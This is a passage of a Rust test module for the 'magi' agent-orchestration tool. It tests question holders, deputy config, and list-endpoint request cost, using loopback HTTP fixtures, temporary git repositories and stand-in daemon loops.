8869        );
8870        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8871        q.cwd = Some("/tmp".to_owned());
8872        assert_eq!(holder_of(&q, None), Some("nobody"));
8873        let beat = |kind, ago: i64| ask::Lease {
8874            kind,
8875            pid: 1,
8876            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8877                .unwrap(),
8878        };
8879        let fresh = beat(ask::WaiterKind::Asker, 1);
8880        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8881        let daemon = beat(ask::WaiterKind::Daemon, 1);
8882        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8883        let stale = beat(ask::WaiterKind::Asker, 3600);
8884        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8885
8886        // A conductor question says "deputy" only while one is attached and
8887        // alive, and "nobody" - never silence - when nothing ever listened.
8888        let mut c = Question::new(
8889            "task".to_owned(),
8890            crate::conduct::NODE.to_owned(),
8891            "conduct".to_owned(),
8892            "which?".to_owned(),
8893            String::new(),
8894            Vec::new(),
8895        );
8896        assert_eq!(holder_of(&c, None), Some("nobody"));
8897        c.cwd = Some("/tmp".to_owned());
8898        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8899        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8900        let deputy = beat(ask::WaiterKind::Deputy, 1);
8901        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8902        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8903
8904        // A release-watch question: nobody until a deputy is attached.
8905        let mut r = Question::new(
8906            String::new(),
8907            crate::bump::NOTICE_NODE.to_owned(),
8908            "release-watch".to_owned(),
8909            "stuck?".to_owned(),
8910            String::new(),
8911            vec!["hold".to_owned()],
8912        );
8913        assert_eq!(holder_of(&r, None), Some("nobody"));
8914        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8915        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8916        // A choice-less bump notice is nobody's question at all.
8917        r.deputy = None;
8918        r.seat = "bump".to_owned();
8919        assert_eq!(holder_of(&r, None), None);
8920
8921        // A merge approval is the same: nobody until a deputy is attached
8922        // and alive, never a silent "no holder".
8923        let mut m = Question::new(
8924            "run".to_owned(),
8925            crate::land::APPROVAL_NODE.to_owned(),
8926            "land".to_owned(),
8927            "merge?".to_owned(),
8928            String::new(),
8929            Vec::new(),
8930        );
8931        assert_eq!(holder_of(&m, None), Some("nobody"));
8932        assert_eq!(
8933            holder_of(&m, Some(&fresh)),
8934            Some("asker"),
8935            "a live explicit wait is a listener even before a deputy is attached"
8936        );
8937        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8938        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8939        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8940        assert_eq!(holder_of(&m, None), Some("nobody"));
8941    }
8942
8943    fn stub_config() -> Config {
8944        // An explicit roster, so the result never depends on which agent CLIs
8945        // this machine has installed.
8946        Config {
8947            agents: vec![crate::config::AgentSpec {
8948                id: "stub".to_owned(),
8949                kind: AgentKind::Command,
8950                model: None,
8951                command: vec!["true".to_owned()],
8952                extra_args: Vec::new(),
8953                env: Default::default(),
8954                prompt_delivery: None,
8955            }],
8956            ..Config::default()
8957        }
8958    }
8959
8960    fn plain_question(seat: &str) -> Question {
8961        Question::new(
8962            String::new(),
8963            "n".to_owned(),
8964            seat.to_owned(),
8965            "s".to_owned(),
8966            String::new(),
8967            Vec::new(),
8968        )
8969    }
8970
8971    #[test]
8972    fn deputies_enabled_follows_the_config() {
8973        let on = stub_config();
8974        assert!(crate::deputy::can_start(Some(&on), ""));
8975        assert!(crate::deputy::can_start(Some(&on), "stub"));
8976        let mut off = on.clone();
8977        off.daemon.max_deputies = 0;
8978        assert!(!crate::deputy::can_start(Some(&off), ""));
8979        let mut empty = on;
8980        empty.agents.clear();
8981        assert!(!crate::deputy::can_start(Some(&empty), ""));
8982        assert!(!crate::deputy::can_start(None, ""));
8983    }
8984
8985    #[test]
8986    fn question_views_load_the_config_once() {
8987        let dir = TempDir::new().unwrap();
8988        let store = ask::Questions::at(dir.path().to_path_buf());
8989        let mut with_deputy = plain_question("b");
8990        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8991        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8992
8993        let calls = std::cell::Cell::new(0usize);
8994        let views = question_views(qs.clone(), &store, || {
8995            calls.set(calls.get() + 1);
8996            Some(stub_config())
8997        });
8998        assert_eq!(calls.get(), 1);
8999        assert_eq!(views.len(), 3);
9000        for (v, q) in views.iter().zip(&qs) {
9001            assert_eq!(
9002                v.deputies_enabled,
9003                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9004            );
9005        }
9006
9007        let views = question_views(qs, &store, || None);
9008        assert!(views.iter().all(|v| !v.deputies_enabled));
9009
9010        let calls = std::cell::Cell::new(0usize);
9011        let views = question_views(Vec::new(), &store, || {
9012            calls.set(calls.get() + 1);
9013            None
9014        });
9015        assert!(views.is_empty());
9016        assert_eq!(calls.get(), 0);
9017    }
9018
9019    use pretty_assertions::assert_eq;
9020    use serde_json::Value;
9021    use tempfile::TempDir;
9022    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9023
9024    use super::*;
9025    use crate::config::Config;
9026    use crate::queue::Source;
9027
9028    /// How many 10ms steps a settle loop takes before it calls a stall a
9029    /// stall - thirty seconds.
9030    ///
9031    /// These loops wait on real `sh` subprocesses, and the machine that runs
9032    /// the gate runs several suites at once, so a two-second budget was not
9033    /// waiting for the reply, it was racing the scheduler: two of these
9034    /// tests failed under that load with the turn simply not landed yet.
9035    /// This is a hang guard, not a latency assertion - every loop breaks the
9036    /// moment its condition holds, so a generous cap costs an idle machine
9037    /// nothing and still fails a genuine hang instead of hanging the suite.
9038    const SETTLE_STEPS: usize = 3_000;
9039
9040    /// A home with a queue and a runs directory, and a router serving it on
9041    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
9042    /// dependency, not ours - so the tests drive a real socket, which has the
9043    /// side benefit of asserting the status line and content types the phone
9044    /// actually receives.
9045    struct Fixture {
9046        home: TempDir,
9047        addr: SocketAddr,
9048    }
9049
9050    impl Fixture {
9051        async fn start() -> Self {
9052            Self::with_loop(launch_idle).await
9053        }
9054
9055        /// A fixture whose loop is `launch`.
9056        async fn with_loop(launch: Launch) -> Self {
9057            let home = TempDir::new().expect("temp home");
9058            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9059            Self { home, addr }
9060        }
9061
9062        /// A fixture whose `ui.repo` is a real directory rather than the
9063        /// usual placeholder - for the routes that read config off it
9064        /// (`GET /api/repos`) and would otherwise have nothing to discover.
9065        async fn with_repo(repo: PathBuf) -> Self {
9066            let home = TempDir::new().expect("temp home");
9067            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9068            Self { home, addr }
9069        }
9070
9071        /// As [`Fixture::with_repo`], with the machine-config file the
9072        /// settings screen reads and writes.
9073        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9074            let home = TempDir::new().expect("temp home");
9075            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9076            Self { home, addr }
9077        }
9078
9079        async fn serve(
9080            home: &FsPath,
9081            repo: PathBuf,
9082            launch: Launch,
9083            machine: Option<PathBuf>,
9084        ) -> SocketAddr {
9085            let queue = Queue::at(home.join("queue"));
9086            let runs = home.join("runs");
9087            std::fs::create_dir_all(&runs).expect("runs dir");
9088            let worktrees = home.join("wt").join("magi");
9089            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9090            let ui = Ui::new(
9091                queue,
9092                Questions::at(home.join("questions")),
9093                Talks::at(home.join("talks")),
9094                runs,
9095                home.to_path_buf(),
9096                repo,
9097            )
9098            .with_worktrees_root(worktrees)
9099            .with_machine_config(machine)
9100            .with_launch(launch);
9101            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9102                .await
9103                .expect("bind loopback");
9104            let addr = listener.local_addr().expect("local addr");
9105            tokio::spawn(async move {
9106                let router = ui
9107                    .router()
9108                    .layer(axum::middleware::from_fn(request_cost::observe));
9109                let _ = axum::serve(listener, router).await;
9110            });
9111            addr
9112        }
9113
9114        fn queue(&self) -> Queue {
9115            Queue::at(self.home.path().join("queue"))
9116        }
9117
9118        fn questions(&self) -> Questions {
9119            Questions::at(self.home.path().join("questions"))
9120        }
9121
9122        fn talks(&self) -> Talks {
9123            Talks::at(self.home.path().join("talks"))
9124        }
9125
9126        fn runs(&self) -> PathBuf {
9127            self.home.path().join("runs")
9128        }
9129
9130        async fn get(&self, path: &str) -> Res {
9131            request(self.addr, "GET", path, None).await
9132        }
9133
9134        /// The status and headers without the body, which is how the front end
9135        /// preflights a panel: a sandboxed frame is opaque to the parent
9136        /// document, so the only way to tell "no panel" from "a panel that
9137        /// rendered blank" is to ask before mounting.
9138        async fn head(&self, path: &str) -> Res {
9139            request(self.addr, "HEAD", path, None).await
9140        }
9141
9142        async fn post(&self, path: &str, body: Option<&str>) -> Res {
9143            request(self.addr, "POST", path, body).await
9144        }
9145
9146        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9147            request_with(self.addr, "GET", path, None, extra).await
9148        }
9149
9150        async fn delete(&self, path: &str) -> Res {
9151            request(self.addr, "DELETE", path, None).await
9152        }
9153
9154        async fn put(&self, path: &str, body: &str) -> Res {
9155            request(self.addr, "PUT", path, Some(body)).await
9156        }
9157
9158        /// `POST` a raw body with its own headers - see [`request_bytes`].
9159        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9160            request_bytes(self.addr, path, headers, body).await
9161        }
9162    }
9163
9164    /// Real tracking refs exercise the successful discovery path (including
9165    /// extraction), rather than counting cheap failures on a placeholder repo.
9166    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9167        let tmp = TempDir::new().unwrap();
9168        let mut repos = Vec::new();
9169        for name in ["one", "two"] {
9170            let repo = tmp.path().join(name);
9171            let origin = tmp.path().join(format!("{name}.git"));
9172            std::fs::create_dir_all(&repo).unwrap();
9173            crate::git::git(&repo, &["init", "-b", "main"])
9174                .await
9175                .unwrap();
9176            std::fs::write(
9177                repo.join("magi.toml"),
9178                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9179            )
9180            .unwrap();
9181            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9182            crate::git::git(
9183                &repo,
9184                &[
9185                    "-c",
9186                    "user.name=fixture",
9187                    "-c",
9188                    "user.email=fixture@example.invalid",
9189                    "commit",
9190                    "-m",
9191                    "fixture",
9192                ],
9193            )
9194            .await
9195            .unwrap();
9196            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9197                .await
9198                .unwrap();
9199            crate::git::git(
9200                &repo,
9201                &["remote", "add", "origin", origin.to_str().unwrap()],
9202            )
9203            .await
9204            .unwrap();
9205            crate::git::git(&repo, &["push", "origin", "main"])
9206                .await
9207                .unwrap();
9208            crate::git::git(
9209                &repo,
9210                &[
9211                    "symbolic-ref",
9212                    "refs/remotes/origin/HEAD",
9213                    "refs/remotes/origin/main",
9214                ],
9215            )
9216            .await
9217            .unwrap();
9218            let (cfg, _) = Config::discover(&repo, None).unwrap();
9219            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9220            repos.push(repo);
9221        }
9222        let repos: [PathBuf; 2] = repos.try_into().unwrap();
9223        (tmp, repos)
9224    }
9225
9226    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9227        let (tmp, repos) = performance_repositories().await;
9228        let machine = tmp.path().join("machine.toml");
9229        std::fs::write(&machine, "").unwrap();
9230        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9231        (tmp, repos, fx)
9232    }
9233
9234    fn seed_performance(
9235        fx: &Fixture,
9236        repos: &[PathBuf; 2],
9237        questions: usize,
9238        runs: usize,
9239        items: usize,
9240    ) {
9241        // Saving states directly never starts a run or changes MAGI_HOME.
9242        for i in fx.questions().list().len()..questions {
9243            let mut question = Question::new(
9244                "20261001-000000-0000".into(),
9245                "implement".into(),
9246                "impl-A".into(),
9247                format!("question {i}"),
9248                "context".into(),
9249                vec!["yes".into(), "no".into()],
9250            );
9251            question.id = format!("20261003-000000-{i:04x}");
9252            fx.questions().put(&mut question).unwrap();
9253        }
9254        for i in run_ids(&fx.runs()).len()..runs {
9255            write_run_repo(
9256                &fx.runs(),
9257                &format!("20261001-000000-{i:04x}"),
9258                RunStatus::Ready,
9259                repos[i % 2].to_str().unwrap(),
9260            );
9261        }
9262        for i in fx.talks().list().len()..items {
9263            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9264            let mut talk = fx.talks().get(&id).unwrap();
9265            talk.repo = repos[i % 2].clone();
9266            fx.talks().put(&mut talk).unwrap();
9267            let mut task = crate::queue::Task::new(
9268                format!("task {i}"),
9269                "instruction".into(),
9270                repos[i % 2].clone(),
9271                crate::queue::Source::Agent {
9272                    run: id,
9273                    node: crate::queue::CHAT_NODE.into(),
9274                },
9275            );
9276            task.id = format!("20261004-000000-{i:04x}");
9277            fx.queue().put(&mut task).unwrap();
9278            // Notices has a production retention cap; seed up to that cap.
9279            if i < crate::notices::CAP {
9280                Notices::at(fx.home.path().join("notifications"))
9281                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
9282                    .unwrap();
9283            }
9284        }
9285        assert_eq!(fx.questions().list().len(), questions);
9286        assert_eq!(run_ids(&fx.runs()).len(), runs);
9287        assert_eq!(fx.talks().list().len(), items);
9288        assert_eq!(fx.queue().list().len(), items);
9289        assert_eq!(
9290            Notices::at(fx.home.path().join("notifications"))
9291                .list()
9292                .len(),
9293            items.min(crate::notices::CAP)
9294        );
9295    }
9296
9297    fn request_counts(res: &Res) -> (usize, usize) {
9298        assert_eq!(res.status, 200, "{}", res.body);
9299        (
9300            res.header("x-test-discoveries").unwrap().parse().unwrap(),
9301            res.header("x-test-git").unwrap().parse().unwrap(),
9302        )
9303    }
9304
9305    #[tokio::test]
9306    async fn list_request_cost_is_independent_of_record_count() {
9307        let (_tmp, repos, fx) = performance_fixture().await;
9308        let mut previous = None;
9309        for n in [4, 60] {
9310            seed_performance(&fx, &repos, n, n, n);
9311            let mut costs = Vec::new();
9312            for (path, discoveries) in [
9313                ("/api/questions", 1),
9314                ("/api/talks", 2),
9315                ("/api/health", 1),
9316                ("/api/stats", 1),
9317            ] {
9318                // Equal cold extraction caches at both scales; this also
9319                // bounds first-request cost instead of only warmed requests.
9320                for repo in &repos {
9321                    let cache = repo.join(".git/magi/config");
9322                    if cache.exists() {
9323                        std::fs::remove_dir_all(cache).unwrap();
9324                    }
9325                }
9326                let cost = request_counts(&fx.get(path).await);
9327                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9328                assert_eq!(cost.0, discoveries, "{path}, N={n}");
9329                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9330                costs.push(cost);
9331            }
9332            if let Some(previous) = previous {
9333                assert_eq!(costs, previous);
9334            }
9335            previous = Some(costs);
9336        }
9337        // runs reads shared row inputs and probes process liveness; queue
9338        // builds one blocker inventory; notifications reads its own store.
9339        // None discovers configuration or spawns git per item.
9340    }
9341
9342    /// The same handler path without transport, so the deterministic cause
9343    /// can also be checked in environments that prohibit binding sockets.
9344    #[tokio::test]
9345    async fn list_handler_cost_without_transport() {
9346        let (_tmp, repos) = performance_repositories().await;
9347        let fx = Fixture {
9348            home: TempDir::new().unwrap(),
9349            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9350        };
9351        let ui = Arc::new(
9352            Ui::new(
9353                fx.queue(),
9354                fx.questions(),
9355                fx.talks(),
9356                fx.runs(),
9357                fx.home.path().to_path_buf(),
9358                repos[0].clone(),
9359            )
9360            .with_worktrees_root(fx.home.path().join("wt")),
9361        );
9362        let mut previous = None;
9363        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9364            seed_performance(&fx, &repos, n, runs, items);
9365            let mut costs = Vec::new();
9366            for endpoint in ["questions", "talks", "health", "stats"] {
9367                for repo in &repos {
9368                    let cache = repo.join(".git/magi/config");
9369                    if cache.exists() {
9370                        std::fs::remove_dir_all(cache).unwrap();
9371                    }
9372                }
9373                let (_, cost) = request_cost::measure(async {
9374                    match endpoint {
9375                        "questions" => {
9376                            let _ = questions_list(State(ui.clone())).await.unwrap();
9377                        }
9378                        "talks" => {
9379                            let _ = talks_list(
9380                                State(ui.clone()),
9381                                Query(ListQuery {
9382                                    limit: None,
9383                                    ids: None,
9384                                }),
9385                            )
9386                            .await
9387                            .unwrap();
9388                        }
9389                        "health" => {
9390                            let _ = health(State(ui.clone())).await.unwrap();
9391                        }
9392                        _ => {
9393                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9394                                .await
9395                                .unwrap();
9396                        }
9397                    }
9398                })
9399                .await;
9400                eprintln!("{endpoint} handler N={n}: {cost:?}");
9401                assert_eq!(
9402                    cost.0,
9403                    if endpoint == "talks" { 2 } else { 1 },
9404                    "{endpoint}"
9405                );
9406                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9407                costs.push(cost);
9408            }
9409            if let Some(previous) = previous {
9410                assert_eq!(costs, previous);
9411            }
9412            previous = Some(costs);
9413        }
9414    }
9415
9416    #[tokio::test]
9417    async fn list_request_cost_scopes_do_not_mix() {
9418        let (_tmp, repos, fx) = performance_fixture().await;
9419        seed_performance(&fx, &repos, 10, 0, 10);
9420        let (questions, talks, notices) = tokio::join!(
9421            fx.get("/api/questions"),
9422            fx.get("/api/talks"),
9423            fx.get("/api/notifications")
9424        );
9425        assert_eq!(request_counts(&questions).0, 1);
9426        assert_eq!(request_counts(&talks).0, 2);
9427        assert_eq!(request_counts(&notices), (0, 0));
9428    }
9429
9430    #[tokio::test]
9431    async fn list_endpoints_large_home_ceiling() {
9432        let (_tmp, repos, fx) = performance_fixture().await;
9433        seed_performance(&fx, &repos, 200, 300, 400);
9434        let mut failures = Vec::new();
9435        // app.js boot/change loads plus the initial dashboard, settings and
9436        // repo picker. SSE is a persistent stream, not a bounded GET.
9437        for path in [
9438            "/",
9439            "/app.js",
9440            "/app.css",
9441            "/api/questions",
9442            "/api/runs?limit=300",
9443            "/api/queue",
9444            "/api/talks",
9445            "/api/notifications",
9446            "/api/health",
9447            "/api/stats",
9448            "/api/loop",
9449            "/api/settings",
9450            "/api/repos",
9451        ] {
9452            let start = std::time::Instant::now();
9453            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9454            let elapsed = start.elapsed();
9455            eprintln!("{path}: {elapsed:?}");
9456            match result {
9457                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9458                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9459                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9460            }
9461        }
9462        assert!(failures.is_empty(), "{}", failures.join("\n"));
9463    }
9464
9465    struct Res {
9466        status: u16,
9467        headers: String,
9468        /// The header block with its original casing, for the assertions that
9469        /// compare a header *value* rather than looking for a name. Lowercasing
9470        /// a CSP would hide a directive spelled with a capital letter, and the
9471        /// whole point of that test is that the string is exactly right.
9472        head: String,
9473        body: String,
9474        /// The body before any UTF-8 handling, for the routes that serve
9475        /// something other than text. A panel asset is a PNG as often as not,
9476        /// and `from_utf8_lossy` would silently replace half of it.
9477        bytes: Vec<u8>,
9478    }
9479
9480    impl Res {
9481        fn json(&self) -> Value {
9482            serde_json::from_str(&self.body)
9483                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9484        }
9485
9486        /// One header's value verbatim, or `None` when it was not sent.
9487        fn header(&self, name: &str) -> Option<&str> {
9488            self.head.lines().find_map(|line| {
9489                let (key, value) = line.split_once(':')?;
9490                key.trim()
9491                    .eq_ignore_ascii_case(name)
9492                    .then(|| value.trim_start().trim_end_matches('\r'))
9493            })
9494        }
9495    }
9496
9497    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
9498    /// be read to end-of-stream without parsing framing.
9499    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9500        request_with(addr, method, path, body, &[]).await
9501    }
9502
9503    /// As [`request`], with extra request headers - conditional GETs need
9504    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
9505    /// worse than one that sets none.
9506    async fn request_with(
9507        addr: SocketAddr,
9508        method: &str,
9509        path: &str,
9510        body: Option<&str>,
9511        extra: &[(&str, &str)],
9512    ) -> Res {
9513        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9514        for (name, value) in extra {
9515            head.push_str(&format!("{name}: {value}\r\n"));
9516        }
9517        if let Some(body) = body {
9518            head.push_str("Content-Type: application/json\r\n");
9519            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9520        }
9521        head.push_str("\r\n");
9522        if let Some(body) = body {
9523            head.push_str(body);
9524        }
9525        let mut socket = tokio::net::TcpStream::connect(addr)
9526            .await
9527            .expect("connect to the test server");
9528        socket
9529            .write_all(head.as_bytes())
9530            .await
9531            .expect("write request");
9532        let mut raw = Vec::new();
9533        socket.read_to_end(&mut raw).await.expect("read response");
9534        // Split on the raw bytes rather than on a lossy string, so a binary
9535        // body survives to be compared byte for byte.
9536        let split = raw
9537            .windows(4)
9538            .position(|w| w == b"\r\n\r\n")
9539            .expect("a header block");
9540        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9541        let bytes = raw[split + 4..].to_vec();
9542        let status = head
9543            .lines()
9544            .next()
9545            .and_then(|line| line.split_whitespace().nth(1))
9546            .and_then(|code| code.parse().ok())
9547            .expect("a status line");
9548        Res {
9549            status,
9550            headers: head.to_lowercase(),
9551            head,
9552            body: String::from_utf8_lossy(&bytes).into_owned(),
9553            bytes,
9554        }
9555    }
9556
9557    /// A `POST` carrying a raw binary body and its own headers, for the
9558    /// attachment upload route - `request_with` only ever sends
9559    /// `Content-Type: application/json`, which is wrong for an image and
9560    /// would corrupt anything not valid UTF-8 by round-tripping it through
9561    /// `&str` first.
9562    async fn request_bytes(
9563        addr: SocketAddr,
9564        path: &str,
9565        headers: &[(&str, &str)],
9566        body: &[u8],
9567    ) -> Res {
9568        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9569        for (name, value) in headers {
9570            head.push_str(&format!("{name}: {value}\r\n"));
9571        }
9572        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9573        let mut socket = tokio::net::TcpStream::connect(addr)
9574            .await
9575            .expect("connect to the test server");
9576        socket
9577            .write_all(head.as_bytes())
9578            .await
9579            .expect("write request head");
9580        socket.write_all(body).await.expect("write request body");
9581        let mut raw = Vec::new();
9582        socket.read_to_end(&mut raw).await.expect("read response");
9583        let split = raw
9584            .windows(4)
9585            .position(|w| w == b"\r\n\r\n")
9586            .expect("a header block");
9587        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9588        let bytes = raw[split + 4..].to_vec();
9589        let status = head
9590            .lines()
9591            .next()
9592            .and_then(|line| line.split_whitespace().nth(1))
9593            .and_then(|code| code.parse().ok())
9594            .expect("a status line");
9595        Res {
9596            status,
9597            headers: head.to_lowercase(),
9598            head,
9599            body: String::from_utf8_lossy(&bytes).into_owned(),
9600            bytes,
9601        }
9602    }
9603
9604    /// A run on disk, without touching the process-global magi home.
9605    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9606        let mut state = RunState::new(
9607            PathBuf::from("/repo/magi"),
9608            "main".to_owned(),
9609            "0123456789abcdef".to_owned(),
9610            "Add a web UI\n\nMobile first.".to_owned(),
9611            Config::default(),
9612        );
9613        state.id = id.to_owned();
9614        state.status = status;
9615        let dir = runs.join(id);
9616        std::fs::create_dir_all(&dir).expect("run dir");
9617        std::fs::write(
9618            dir.join("run.json"),
9619            serde_json::to_string_pretty(&state).expect("serialize run"),
9620        )
9621        .expect("write run.json");
9622    }
9623
9624    /// Same as [`write_run`], but against a named repository rather than the
9625    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
9626    /// spread across more than one.
9627    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9628        let mut state = RunState::new(
9629            PathBuf::from(repo),
9630            "main".to_owned(),
9631            "0123456789abcdef".to_owned(),
9632            "task".to_owned(),
9633            Config::default(),
9634        );
9635        state.id = id.to_owned();
9636        state.status = status;
9637        let dir = runs.join(id);
9638        std::fs::create_dir_all(&dir).expect("run dir");
9639        std::fs::write(
9640            dir.join("run.json"),
9641            serde_json::to_string_pretty(&state).expect("serialize run"),
9642        )
9643        .expect("write run.json");
9644    }
9645
9646    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9647        let body = serde_json::json!({
9648            "schema": 1,
9649            "pid": 4242,
9650            "started_at": Timestamp::now().to_string(),
9651            "updated_at": updated_at.to_string(),
9652            "idle": false,
9653            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9654            "completed": 7,
9655            "polls": 143,
9656        });
9657        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9658    }
9659
9660    /// A loop that starts, finds nothing to do, and waits to be told to stop.
9661    ///
9662    /// No test in this file may start the real loop - see [`Ui::launch`] for
9663    /// why - so this stands in for the only thing the routes need a loop to
9664    /// do: keep running until `Stop` is set, then return. A real
9665    /// `serve_until` here would resolve its queue and its status file through
9666    /// the process-global magi home, claim whatever it found in the
9667    /// operator's live backlog, overwrite the status file of the `magi serve`
9668    /// that owns it, and spend real agent quota on a real competition.
9669    fn launch_idle(
9670        _opts: daemon::Opts,
9671        stop: daemon::Stop,
9672    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9673        Box::pin(async move {
9674            while !stop.stopped() {
9675                tokio::time::sleep(Duration::from_millis(2)).await;
9676            }
9677            Ok(())
9678        })
9679    }
9680
9681    /// A loop that fails on the way up, the way one whose home has gone
9682    /// read-only does.
9683    fn launch_broken(
9684        _opts: daemon::Opts,
9685        _stop: daemon::Stop,
9686    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9687        // The stand-in dies instantly, so a restarted one can record its own
9688        // failure before the start's response is read. The second attempt
9689        // therefore fails with a different message, to tell a stale error
9690        // from a fresh one.
9691        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9692        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9693        Box::pin(async move {
9694            Err(anyhow::anyhow!(if first {
9695                "publish the daemon status file: read-only file system"
9696            } else {
9697                "the restarted stand-in failed as well"
9698            }))
9699        })
9700    }
9701
9702    /// The address the parking loop knocks on, and what it heard there.
9703    ///
9704    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
9705    /// capture a fixture's address; this is how it is handed one. Only
9706    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
9707    /// these, so nothing else in this binary can race them.
9708    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9709    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9710
9711    /// A loop that, once it is asked to stop, checks the deck still answers
9712    /// before it goes.
9713    ///
9714    /// It stands in for a run mid-node: `finish_loop` waits for this future,
9715    /// so the request it makes is strictly inside the park window - no sleep
9716    /// and no polling needed to be sure of that.
9717    fn launch_knocking_on_the_way_out(
9718        _opts: daemon::Opts,
9719        stop: daemon::Stop,
9720    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9721        Box::pin(async move {
9722            while !stop.stopped() {
9723                tokio::time::sleep(Duration::from_millis(2)).await;
9724            }
9725            let addr = PARK_KNOCK
9726                .lock()
9727                .expect("park knock")
9728                .expect("the test set an address");
9729            let heard = request(addr, "GET", "/api/health", None).await.status;
9730            *PARK_HEARD.lock().expect("park heard") = Some(heard);
9731            Ok(())
9732        })
9733    }
9734
9735    /// The loop view once `want` accepts it.
9736    ///
9737    /// Polled rather than asserted straight after the POST because stopping
9738    /// is deliberately not instant - that is the contract - and rather than
9739    /// slept through because a fixed wait is either flaky or slow.
9740    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
9741    /// finite, so a genuine hang fails the test instead of hanging the
9742    /// suite.
9743    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9744        for _ in 0..SETTLE_STEPS {
9745            let view = fx.get("/api/loop").await.json();
9746            if want(&view) {
9747                return view;
9748            }
9749            tokio::time::sleep(Duration::from_millis(10)).await;
9750        }
9751        panic!(
9752            "the loop never settled: {}",
9753            fx.get("/api/loop").await.json()
9754        );
9755    }
9756
9757    /// File an open question directly in the store the server reads.
9758    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9759        let store = fx.questions();
9760        let mut q = Question::new(
9761            "20260902-000000-beef".to_owned(),
9762            "implement".to_owned(),
9763            "impl-A".to_owned(),
9764            summary.to_owned(),
9765            "because it matters".to_owned(),
9766            choices.iter().map(|c| (*c).to_owned()).collect(),
9767        );
9768        store.put(&mut q).expect("put question");
9769        q.id
9770    }
9771
9772    /// A question with a panel the server can serve, plus the named assets.
9773    ///
9774    /// Written through `Questions::put_panel` rather than by laying out the
9775    /// directory here, so these tests exercise the same on-disk shape the
9776    /// agents produce and cannot pass against a layout only the tests know.
